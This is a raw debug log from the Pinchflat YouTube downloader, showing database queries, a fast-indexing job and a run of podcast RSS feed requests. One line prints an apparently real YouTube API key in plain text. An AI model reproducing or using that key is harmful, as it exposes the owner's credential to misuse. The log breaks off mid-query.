s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [5] 16:07:48.787 [debug] QUERY OK source="settings" db=0.1ms idle=419.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:07:48.787 [debug] QUERY OK source="media_profiles" db=0.1ms idle=419.6ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 16:07:48.787 [debug] QUERY OK source="settings" db=0.0ms idle=7.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:07:48.787 [debug] Fetching recent media IDs from YouTube API for playlist: UUWFKCr40YwOZQx8FHU_ZqqQ 16:07:48.788 [debug] QUERY OK source="settings" db=0.0ms idle=1.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:07:48.788 [debug] Using YouTube API key: AIzaSyAKiKyeLm8aXqrWuVA7WcbK-siQl5FOhFc 16:07:48.878 [debug] QUERY OK source="media_items" db=0.8ms idle=90.2ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND m0."media_id" IN (?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?)) [5, "at1HS1CNhe4", "pdrkOatgS_A", "fZX9-DTtDu8", "DgIv5AL8ek0", "djQQcn82_-M", "8lgb4yJ4apU", "loHSfZtIZbE", "nb0MwOXlSZ4", "o_zc6xASQpo", "pwCuzh_HxH8", "KovIZ07Dyx0", "JlQ_djYS0Dg", "1ufoYAQIhu4", "CctFxxf5ApY", "3cZZg1F4RCM", "MxIotxKBjVs", "6HPf_fvPOo4", "TlMHxNDd1X0", "M6yt1wfLvDM", "Mlh6NXtaT_o", "EQMJhxyBsBo", "u9JLKYF71jE", "Npy2CUZZUng", "c1Q3m4x1bJc", "RCFsP8-KGbA", "I1UB7k60dAU", "0p_LmbcqEV4", "8rWtLqyQm6E", "ApwhFXN8bJ8", "3NPHV-X_HvY", "cu0_ZEIT5YU", "nUl4MdDnl1s", "T8TCN0aYs2s", "hgWUxQUlvKs", "mmRqMuMx5VE", "TyKtFYzJBbg", "6vmTf1PEcF8", "GlJaxmUGwr8", "u78CMLm10fU", "vCqX0ZkoPMU", "U4f0LqqYqNU", "S1vsk6Liubo", "c-H0zyWubLc", "WzdR8f2LzwM", "FhV_flNpQOs", "826O9YGrGCg", "i0SCgfej3w0", "w3QlyvY600Q", "O2hSlsvB8nA", ...] 16:07:48.881 [debug] QUERY OK source="media_items" db=2.7ms idle=91.3ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [5] 16:07:48.883 [debug] QUERY OK source="tasks" db=0.2ms idle=1.4ms INSERT INTO "tasks" ("job_id","source_id","inserted_at","updated_at") VALUES (?1,?2,?3,?4) RETURNING "id" [3799917, 5, ~U[2026-02-10 22:07:48Z], ~U[2026-02-10 22:07:48Z]] 16:07:48.883 [info] {"args":{"id":5},"id":3799878,"meta":{},"state":"success","max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","duration":96686,"event":"job:stop","queue_time":487796,"attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 16:07:49.389 [info] GET /sources/23662757-adf4-4a33-adf1-b92fb2169582/feed.xml 16:07:49.389 [debug] Processing with PinchflatWeb.Podcasts.PodcastController.rss_feed/2 Parameters: %{"uuid" => "23662757-adf4-4a33-adf1-b92fb2169582"} Pipelines: [:maybe_basic_auth] 16:07:49.389 [debug] QUERY OK source="sources" db=0.1ms idle=506.4ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."uuid" = ?) ["23662757-adf4-4a33-adf1-b92fb2169582"] 16:07:49.395 [debug] QUERY OK source="media_items" db=5.2ms idle=506.6ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND NOT (m0."media_filepath" IS NULL)) ORDER BY m0."uploaded_at" DESC LIMIT ? [37, 2000] 16:07:49.428 [debug] QUERY OK source="source_metadata" db=0.1ms idle=545.1ms SELECT s0."id", s0."metadata_filepath", s0."fanart_filepath", s0."poster_filepath", s0."banner_filepath", s0."source_id", s0."inserted_at", s0."updated_at", s0."source_id" FROM "source_metadata" AS s0 WHERE (s0."source_id" = ?) [37] 16:07:49.429 [debug] QUERY OK source="media_metadata" db=0.0ms idle=545.2ms SELECT m0."id", m0."metadata_filepath", m0."thumbnail_filepath", m0."media_item_id", m0."inserted_at", m0."updated_at", m0."media_item_id" FROM "media_metadata" AS m0 WHERE (m0."media_item_id" = ?) [1564182] 16:07:49.430 [info] Sent 200 in 40ms 16:07:49.883 [info] GET /sources/a44c23cb-2597-4e92-a8a4-345e4b7faa0b/feed.xml 16:07:49.883 [debug] Processing with PinchflatWeb.Podcasts.PodcastController.rss_feed/2 Parameters: %{"uuid" => "a44c23cb-2597-4e92-a8a4-345e4b7faa0b"} Pipelines: [:maybe_basic_auth] 16:07:49.884 [debug] QUERY OK source="sources" db=0.2ms idle=494.2ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."uuid" = ?) ["a44c23cb-2597-4e92-a8a4-345e4b7faa0b"] 16:07:49.884 [debug] QUERY OK source="media_items" db=0.3ms idle=489.2ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND NOT (m0."media_filepath" IS NULL)) ORDER BY m0."uploaded_at" DESC LIMIT ? [15, 2000] 16:07:49.885 [debug] QUERY OK source="source_metadata" db=0.0ms idle=456.2ms SELECT s0."id", s0."metadata_filepath", s0."fanart_filepath", s0."poster_filepath", s0."banner_filepath", s0."source_id", s0."inserted_at", s0."updated_at", s0."source_id" FROM "source_metadata" AS s0 WHERE (s0."source_id" = ?) [15] 16:07:49.885 [debug] QUERY OK source="media_metadata" db=0.0ms idle=456.0ms SELECT m0."id", m0."metadata_filepath", m0."thumbnail_filepath", m0."media_item_id", m0."inserted_at", m0."updated_at", m0."media_item_id" FROM "media_metadata" AS m0 WHERE (m0."media_item_id" = ?) [1563490] 16:07:49.885 [info] Sent 200 in 1ms 16:07:50.583 [info] GET /sources/16b58d74-5ec6-42de-be76-95f451d88dd3/feed.xml 16:07:50.583 [debug] Processing with PinchflatWeb.Podcasts.PodcastController.rss_feed/2 Parameters: %{"uuid" => "16b58d74-5ec6-42de-be76-95f451d88dd3"} Pipelines: [:maybe_basic_auth] 16:07:50.583 [debug] QUERY OK source="sources" db=0.1ms idle=801.5ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."uuid" = ?) ["16b58d74-5ec6-42de-be76-95f451d88dd3"] 16:07:50.589 [debug] QUERY OK source="media_items" db=6.4ms idle=699.3ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND NOT (m0."media_filepath" IS NULL)) ORDER BY m0."uploaded_at" DESC LIMIT ? [6, 2000] 16:07:50.632 [debug] QUERY OK source="source_metadata" db=0.1ms idle=747.7ms SELECT s0."id", s0."metadata_filepath", s0."fanart_filepath", s0."poster_filepath", s0."banner_filepath", s0."source_id", s0."inserted_at", s0."updated_at", s0."source_id" FROM "source_metadata" AS s0 WHERE (s0."source_id" = ?) [6] 16:07:50.632 [debug] QUERY OK source="media_metadata" db=0.1ms idle=747.7ms SELECT m0."id", m0."metadata_filepath", m0."thumbnail_filepath", m0."media_item_id", m0."inserted_at", m0."updated_at", m0."media_item_id" FROM "media_metadata" AS m0 WHERE (m0."media_item_id" = ?) [1563742] 16:07:50.634 [info] Sent 200 in 51ms 16:07:51.103 [info] GET /sources/be49242a-e234-4087-a8b9-7fa831077b1d/feed.xml 16:07:51.103 [debug] Processing with PinchflatWeb.Podcasts.PodcastController.rss_feed/2 Parameters: %{"uuid" => "be49242a-e234-4087-a8b9-7fa831077b1d"} Pipelines: [:maybe_basic_auth] 16:07:51.103 [debug] QUERY OK source="sources" db=0.2ms idle=520.2ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."uuid" = ?) ["be49242a-e234-4087-a8b9-7fa831077b1d"] 16:07:51.104 [debug] QUERY OK source="media_items" db=0.9ms idle=514.0ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND NOT (m0."media_filepath" IS NULL)) ORDER BY m0."uploaded_at" DESC LIMIT ? [39, 2000] 16:07:51.107 [debug] QUERY OK source="source_metadata" db=0.0ms idle=474.9ms SELECT s0."id", s0."metadata_filepath", s0."fanart_filepath", s0."poster_filepath", s0."banner_filepath", s0."source_id", s0."inserted_at", s0."updated_at", s0."source_id" FROM "source_metadata" AS s0 WHERE (s0."source_id" = ?) [39] 16:07:51.107 [debug] QUERY OK source="media_metadata" db=0.0ms idle=474.7ms SELECT m0."id", m0."metadata_filepath", m0."thumbnail_filepath", m0."media_item_id", m0."inserted_at", m0."updated_at", m0."media_item_id" FROM "media_metadata" AS m0 WHERE (m0."media_item_id" = ?) [1563741] 16:07:51.107 [info] Sent 200 in 4ms 16:07:51.570 [info] GET /sources/c299bcbc-8900-4aab-a003-f3e99352d063/feed.xml 16:07:51.570 [debug] Processing with PinchflatWeb.Podcasts.PodcastController.rss_feed/2 Parameters: %{"uuid" => "c299bcbc-8900-4aab-a003-f3e99352d063"} Pipelines: [:maybe_basic_auth] 16:07:51.570 [debug] QUERY OK source="sources" db=0.2ms idle=787.5ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."uuid" = ?) ["c299bcbc-8900-4aab-a003-f3e99352d063"] 16:07:51.579 [debug] QUERY OK source="media_items" db=9.2ms idle=466.8ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND NOT (m0."media_filepath" IS NULL)) ORDER BY m0."uploaded_at" DESC LIMIT ? [1, 2000] 16:07:51.581 [debug] QUERY OK source="source_metadata" db=0.0ms idle=476.0ms SELECT s0."id", s0."metadata_filepath", s0."fanart_filepath", s0."poster_filepath", s0."banner_filepath", s0."source_id", s0."inserted_at", s0."updated_at", s0."source_id" FROM "source_metadata" AS s0 WHERE (s0."source_id" = ?) [1] 16:07:51.581 [debug] QUERY OK source="media_metadata" db=0.0ms idle=473.5ms SELECT m0."id", m0."metadata_filepath", m0."thumbnail_filepath", m0."media_item_id", m0."inserted_at", m0."updated_at", m0."media_item_id" FROM "media_metadata" AS m0 WHERE (m0."media_item_id" = ?) [1564180] 16:07:51.581 [info] Sent 200 in 11ms 16:07:51.785 [info] GET /sources/2373d096-97ad-46b0-b2be-43416605c93f/feed.xml 16:07:51.785 [debug] Processing with PinchflatWeb.Podcasts.PodcastController.rss_feed/2 Parameters: %{"uuid" => "2373d096-97ad-46b0-b2be-43416605c93f"} Pipelines: [:maybe_basic_auth] 16:07:51.785 [debug] QUERY OK source="sources" db=0.1ms idle=215.1ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."uuid" = ?) ["2373d096-97ad-46b0-b2be-43416605c93f"] 16:07:51.786 [debug] QUERY OK source="media_items" db=0.5ms idle=206.0ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND NOT (m0."media_filepath" IS NULL)) ORDER BY m0."uploaded_at" DESC LIMIT ? [26, 2000] 16:07:51.786 [debug] QUERY OK source="source_metadata" db=0.0ms idle=205.7ms SELECT s0."id", s0."metadata_filepath", s0."fanart_filepath", s0."poster_filepath", s0."banner_filepath", s0."source_id", s0."inserted_at", s0."updated_at", s0."source_id" FROM "source_metadata" AS s0 WHERE (s0."source_id" = ?) [26] 16:07:51.787 [debug] QUERY OK source="media_metadata" db=0.0ms idle=205.7ms SELECT m0."id", m0."metadata_filepath", m0."thumbnail_filepath", m0."media_item_id", m0."inserted_at", m0."updated_at", m0."media_item_id" FROM "media_metadata" AS m0 WHERE (m0."media_item_id" = ?) [1563757] 16:07:51.787 [info] Sent 200 in 1ms 16:07:52.318 [info] GET /sources/402942c1-b953-4337-bf84-9c202c9c298c/feed.xml 16:07:52.318 [debug] Processing with PinchflatWeb.Podcasts.PodcastController.rss_feed/2 Parameters: %{"uuid" => "402942c1-b953-4337-bf84-9c202c9c298c"} Pipelines: [:maybe_basic_auth] 16:07:52.318 [debug] QUERY OK source="sources" db=0.1ms idle=534.8ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."uuid" = ?) ["402942c1-b953-4337-bf84-9c202c9c298c"] 16:07:52.320 [debug] QUERY OK source="media_items" db=1.2ms idle=533.1ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND NOT (m0."media_filepath" IS NULL)) ORDER BY m0."uploaded_at" DESC LIMIT ? [19, 2000] 16:07:52.327 [debug] QUERY OK source="source_metadata" db=0.0ms idle=541.0ms SELECT s0."id", s0."metadata_filepath", s0."fanart_filepath", s0."poster_filepath", s0."banner_filepath", s0."source_id", s0."inserted_at", s0."updated_at", s0."source_id" FROM "source_metadata" AS s0 WHERE (s0."source_id" = ?) [19] 16:07:52.327 [debug] QUERY OK source="media_metadata" db=0.0ms idle=540.8ms SELECT m0."id", m0."metadata_filepath", m0."thumbnail_filepath", m0."media_item_id", m0."inserted_at", m0."updated_at", m0."media_item_id" FROM "media_metadata" AS m0 WHERE (m0."media_item_id" = ?) [1561141] 16:07:52.328 [info] Sent 200 in 9ms 16:07:53.037 [info] GET /sources/3914eb9d-4fe0-471d-87d8-8684d6d44aa1/feed.xml 16:07:53.037 [debug] Processing with PinchflatWeb.Podcasts.PodcastController.rss_feed/2 Parameters: %{"uuid" => "3914eb9d-4fe0-471d-87d8-8684d6d44aa1"} Pipelines: [:maybe_basic_auth] 16:07:53.037 [debug] QUERY OK source="sources" db=0.1ms idle=718.3ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."uuid" = ?) ["3914eb9d-4fe0-471d-87d8-8684d6d44aa1"] 16:07:53.037 [debug] QUERY OK source="media_items" db=0.2ms idle=717.3ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND NOT (m0."media_filepath" IS NULL)) ORDER BY m0."uploaded_at" DESC LIMIT ? [42, 2000] 16:07:53.038 [debug] QUERY OK source="source_metadata" db=0.0ms idle=710.3ms SELECT s0."id", s0."metadata_filepath", s0."fanart_filepath", s0."poster_filepath", s0."banner_filepath", s0."source_id", s0."inserted_at", s0."updated_at", s0."source_id" FROM "source_metadata" AS s0 WHERE (s0."source_id" = ?) [42] 16:07:53.038 [debug] QUERY OK source="media_metadata" db=0.0ms idle=710.3ms SELECT m0."id", m0."metadata_filepath", m0."thumbnail_filepath", m0."media_item_id", m0."inserted_at", m0."updated_at", m0."media_item_id" FROM "media_metadata" AS m0 WHERE (m0."media_item_id" = ?) [1563485] 16:07:53.038 [info] Sent 200 in 1ms 16:07:53.230 [info] GET /sources/4121b109-50ec-4197-a462-3579d5850ea0/feed.xml 16:07:53.230 [debug] Processing with PinchflatWeb.Podcasts.PodcastController.rss_feed/2 Parameters: %{"uuid" => "4121b109-50ec-4197-a462-3579d5850ea0"} Pipelines: [:maybe_basic_auth] 16:07:53.230 [debug] QUERY OK source="sources" db=0.2ms idle=445.6ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."uuid" = ?) ["4121b109-50ec-4197-a462-3579d5850ea0"] 16:07:53.232 [debug] QUERY OK source="media_items" db=1.7ms idle=193.4ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND NOT (m0."media_filepath" IS NULL)) ORDER BY m0."uploaded_at" DESC LIMIT ? [12, 2000] 16:07:53.238 [debug] QUERY OK source="source_metadata" db=0.0ms idle=200.6ms SELECT s0."id", s0."metadata_filepath", s0."fanart_filepath", s0."poster_filepath", s0."banner_filepath", s0."source_id", s0."inserted_at", s0."updated_at", s0."source_id" FROM "source_metadata" AS s0 WHERE (s0."source_id" = ?) [12] 16:07:53.238 [debug] QUERY OK source="media_metadata" db=0.0ms idle=200.5ms SELECT m0."id", m0."metadata_filepath", m0."thumbnail_filepath", m0."media_item_id", m0."inserted_at", m0."updated_at", m0."media_item_id" FROM "media_metadata" AS m0 WHERE (m0."media_item_id" = ?) [1563694] 16:07:53.238 [info] Sent 200 in 8ms 16:07:53.792 [info] GET /sources/32c68f3a-7ceb-4fd9-9852-b43421374079/feed.xml 16:07:53.792 [debug] Processing with PinchflatWeb.Podcasts.PodcastController.rss_feed/2 Parameters: %{"uuid" => "32c68f3a-7ceb-4fd9-9852-b43421374079"} Pipelines: [:maybe_basic_auth] 16:07:53.792 [debug] QUERY OK source="sources" db=0.6ms idle=561.4ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", 